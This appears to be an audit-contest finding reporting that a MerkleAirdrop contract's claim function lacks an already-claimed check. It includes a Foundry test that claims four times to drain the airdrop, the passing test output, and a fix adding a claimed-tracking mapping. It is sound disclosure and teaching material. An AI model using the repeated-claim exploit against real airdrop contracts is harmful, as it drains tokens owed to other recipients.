Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

A Single user can claim all tokens

Summary

A single user can claim all token which will ruin the airdrop

Vulnerability Details

claim function in the MerkleAirdrop smart contract do not have a check if a user has already claimed or not. This leads to a single user claiming repeatedly to claim all available tokens.
This approach makes airdrop useless and unfair towards other users. This can be simply fixed by adding a mapping to keep track if a user has already claimed or not.

POC

In existing test file, add following test function

function testSingleUserCanClaimAllTokens () public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, 0.1 ether);
vm.startPrank(collectorOne);
for (uint i=0; i<4; ++i){
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
}
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToSend);
}

then run forge test --mt testSingleUserCanClaimAllTokens --zksync in terminal and it will return the following results

[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.24
[⠔] Solc 0.8.24 finished in 1.40s
Compiler run successful!
Ran 1 test for test/MerkleAirdropTest.t.sol:MerkleAirdropTest
[PASS] testSingleUserCanClaimAllTokens() (gas: 115129)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.28ms (277.42µs CPU time)
Ran 1 test suite in 5.20ms (1.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A single beneficiary can drain the whole airdrop tokens.

Tools Used

Manual Review, Foundry

Recommendations

Add a mapping to fix the issue as shown below.

/// existing code
+ mapping (address => bool) public userHasClaimed;
+ error AlreadyClaimed();
/// existing code
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if(userHasClaimed[account]){
+ revert AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ userHasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.